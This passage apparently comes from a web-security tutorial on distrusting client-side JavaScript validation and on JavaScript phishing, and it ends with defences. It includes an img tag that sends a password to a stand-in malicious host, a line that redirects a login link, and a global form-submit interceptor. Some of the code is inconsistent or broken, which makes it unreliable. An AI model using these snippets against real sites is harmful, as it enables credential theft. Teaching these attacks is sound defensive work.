    <script>
    var okUsername = null;
    var okPassword = null;
    function checkUserNameValues() {
      var values = $('#username').val();
     if (values.indexOf("s") < 0) {
         okUsername = true;
         $('#username-error').html("");
      }else {
           okUsername = false;
           $('#username-error').html("Not allowed to use character 's' in
           your password");
        }
      if (okUsername === true && okPassword === true) {
           $('#send').prop('disabled', false);
        }
     }
     function checkPasswordValues() {
        var values = $('#password').val();
        if (values.indexOf("a") < 0) {
           okPassword = true;
           $('#password-error').html("");
        }
        else {
           okPassword = false;
           $('#password-error').html("Not allowed to use character 'a' in
           your password");
        }
      if (okUsername === true && okPassword === true) {
           $('#send').prop('disabled', false);
        }
     }
     function formEnter() {
        var a = $('#username').keyup(checkUserNameValues);
        var b = $('#password').keyup(checkPasswordValues);
     }
     // here will do the form post and simple validation
     function submitForm() {
// here I will check for "wrong" stuff
if (ok_username === true && ok_password === true) {
  // go ahead and post to ajax backend
  var username = $("#username").val();
  var password = $("#password").val()
  var request = $.ajax({
    url: "/",
    type: "POST",
    data: { username : username, password:password },
    dataType: "json"
  });
  request.done(function( response ) {
    if(response.success == true) {
       $( "#success-msg" ).show();
    }
    else {
       $("#fail-msg").show();
    }
  });
  request.fail(function( jqXHR, textStatus ) {
    $("#fail-msg").show();
  });
}
else {
  alert("Please check your error messages");
```

```
    }
    // enables or disables the button
    return;
}
$('document').ready(function() {
    // so here I will do the form posting.
    formEnter();
    $("#send").click(submitForm);
})
</script>
```

We have four major functions in this piece of JavaScript code:

- `checkUserNameValues()` : This function checks whether the username is valid or not. For our purposes, it must not contain the s character. If it does, we will show an error message at the #username-error element.
- `checkPasswordValues()` : This function checks whether the password is valid or not. In this case, it is checking whether the password contains the s character or not. If it does, it will show an error message in #password-error.
- `formEnter()` : This function simply calls `checkUserNameValues()` and `checkPasswordValues()` whenever there is a keyup event when the user is in the process of entering their username or password.
- `submitForm()` : This function submits the form if the user input adheres to our rules, or it returns a fail message at the #fail-msg element.

```
python mistrust.py
```

go to http://localhost:8000; and test the app. Enter your username and password.

To trust or not to trust

Now that we have made sure our code is working correctly, it's time to manipulate the code to show that we, as developers, should never trust the client.

Manipulating the JavaScript code

You need to perform the following steps to manipulate the JavaScript code:

1. Refresh your app, and open the developer tools by selecting `Inspect Element`
2. Next, you should see the developer tools at the bottom of your browser window or the developer tool in a pop-up window.
3. Now, go to Elements
4. Now, click on Body and find the disabled button. Click on the disabled text and delete it.
5. Next, enter `asd` and `asd` for both your username and password, both of which are illegal under our rules. Going back to your developer tool, head straight to console, and type the following:

   ```
   ok_password = true
   ok_username = true
   ```

6. Finally, you should see that your form, although still showing the error messages, allows you to submit the form since the button is now enabled. Click on Submit. Presto!

- Remember that the JavaScript code we write is sent to the client side, which means that it is free for all (malicious developers?) to manipulate.

Dealing with mistrust

we could have done something to prevent this from happening. And that is to include server-side checking as well. Now, feel free to check the code in `mistrust2.py` , and look for `FormHandler` . The `post()` function has now been changed, as follows:

```
class FormHandler(tornado.web.RequestHandler):
    def get(self):
            self.render("mistrust.html")
    def post(self):
            username = self.get_argument('username')
            password = self.get_argument('password')
            # this time round we simply assume false
            data = {
                    'success':False
            }
            if 's' in username:
                    self.write(data)
            elif 'a' in password:
                    self.write(data)
            else:
                    data = {
                            'success':True
                    }
                    self.write(data)
```

We simply look for illegal characters when accepting the username and password. Should they contain any illegal characters, we simply return a failed message.

JavaScript Phishing

JavaScript phishing is usually associated with online identity theft and privacy intrusion.

###What is JavaScript phishing?

- Phishing is an attempt to acquire sensitive information, such as usernames, passwords, and credit card details, by masquerading as a trustworthy entity in electronic communication.
- There are many ways of carrying out phishing: via cross-site scripting and cross-site request forgery,
- It does not necessarily take place on your web browser only; it can also start from your e-mail (e-mail spoofing) or even via instant messaging.
- Phishing works as a result of mischief (sometimes) and deception;

Examples of JavaScript phishing

We will cover several examples of phishing in this section, most of which can be achieved through the deceptive, and, sometimes clever, use of JavaScript in tandem with CSS and HTML. Why in tandem with CSS and HTML? This is because much of the deception involves the use of a fake website that looks like the original site

Classic examples There are numerous examples surrounding eBay; some of the most common examples involve the use of sending a fake e-mail and a fake website that looks like eBay, enticing you with certain reasons to make you log in to the fake site so that

Accessing user history by accessing the local state

- How does accessing the user's history be related to phishing?
- Well, besides the fact that it is a complete invasion of privacy
- Knowing a user's history gives the hijacker a better chance of creating a successful phishing scheme.

So, how do we access a user's history by accessing local state? For a start, you'll need to know a bit of CSS, which is as follows:

```
    a:link
    a:visited
    a:hover
    a:active
```

- A link is represented by the a tag,
- `:link` represents an unvisited link
- `:visited` represents a visited link
- `:hover` represents the state of the link when a mouse pointer goes over the link
- `:active` represents a link that is working.
- We can basically make use of JavaScript to sniff for the link's state.
    - Assume that we get a user to visit this web page of ours. If one or more links on our web page has a state of `:visited` We can simply get the state of the link by doing this (using jQuery): `$("a:visited").length // simply returns the number of links that has been visited.`

While this may work for older browsers, newer browser versions have stopped supporting this feature for security purposes.

XSS and CSRF

XSS and CSRF can also "contribute" to phishing. Remember that a piece of JavaScript on a web page has access to all the elements on a web page. This means that the JavaScript, once injected into the web page, can do many things, including malicious activities.

- For instance, consider a login URL. A piece of malicious JavaScript could change the login URL of the button to a malicious web page (a common strategy seen as part of the classic examples).

Consider a normal login URL, as follows:

`<a id="login" href="/safe_login">Login Here</a>`

This can be changed using the following code :

`$("#login").attr("href","http://malicious-website.com/login")")`

- Another classic example is the use of img tags, where the correct image is shown, but the URL contains the image that comes from a malicious link, and this link attempts to send your personal information to the malicious server:

`<img src="http//malicious-sites.com/your-logo.jpg?sensitive_data=yourpassword"/>`

Intercepting events

XSS and CSRF can also be used to intercept events, such as form-submit requests, and manipulate the request by sending the information to some other malicious servers. Take a look at the code example for `intercept.html`

```
<!DOCTYPE html>
     <html lang="en">
       <head>
           <title>Intercept</title>
     <link href="//maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.
     min.css" rel="stylesheet">
       </head>
       <body>
           <div class="container">
             <div class="header">
                <ul class="nav nav-pills pull-right">
                   <li class="active"><a href="#">Home</a></li>
```

```
            <li><a href="#">About</a></li>
          <li><a href="#">Contact</a></li>
        </ul>
        <h3 class="text-muted">Project name</h3>
      </div>
      <div class="jumbotron">
        <form role="form">
          <div class="form-group">
             <label for="exampleInputEmail1">Input 1</label>
             <input id="input1" type="text" class="form-control"
             id="exampleInputEmail1" placeholder="Input 1">
          </div>
          <div class="form-group">
             <label for="exampleInputPassword1">Input 2</label>
             <input id="input2" type="text" class="form-control"
             id="exampleInputPassword1" placeholder="Input 2">
          </div>
          <button type="submit" class="btn btn-default">Submit</
          button>
        </form>
      </div>
   </div> <!-- /container -->
   <!-- Bootstrap core JavaScript
   ================================================== -->
   <!-- Placed at the end of the document so the pages load faster
   -->
   <script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.
   min.js"></script>
   <script>
   $(document).on('submit', 'form', function(event) {
          console.log("submit");
      console.log( $('#input1').val() );
      console.log( $('#input2').val() );
      // perform a get or post request to a malicious server.
      console.log("i might just send your form data to somewhere
      else")
   })
   </script>
 </body>
</html>
```

I want you to note the JavaScript snippet where the script is listening to a global submit event. Assuming the hijacker knows what the form fields are, the ID that your form is using, and assuming they have successfully injected this piece of script into your website, you may be in deep trouble.

To see why, open `intercept.html` in your browser

The form data can be sent anywhere should this script be malicious

Since the script is listening for a global form submit event, it can technically listen and pass the values to URLs other than your site.

Defending against JavaScript phishing

While there are no foolproof ways to defend against JavaScript phishing, there are some basic strategies that we can adopt to avoid phishing.

Upgrading to latest versions of web browsers

Recognizing real web pages

From the aforementioned types of phishing, you might have noticed that one common strategy used by phishing sites is the use of fake websites. Should you recognize a fake website, you can avoid the chances of being phished.

Here are tips to help you recognize real websites:

- Watch out for fake web addresses (URLs). Even websites that contain the name of the real website could be fake; having the word, ebay in the URL does not mean that this is the real eBay website. Take, for instance, http://signin.ebay.com@10.19.32.4/ may have the word ebay, but it is fake, as the address has something between .com and the forward slash (/). eBay provides many more examples on their website: http://pages.ebay.com/help/account/recognizing-spoof.html

Protecting your site against XSS and CSRF

By protecting your sites against XSS and CSRF, you greatly reduce the risk of JavaScript security issues

###Avoid using pop ups and keep your address bars You can design your website so that it avoids the use of pop ups and keeps your address bars.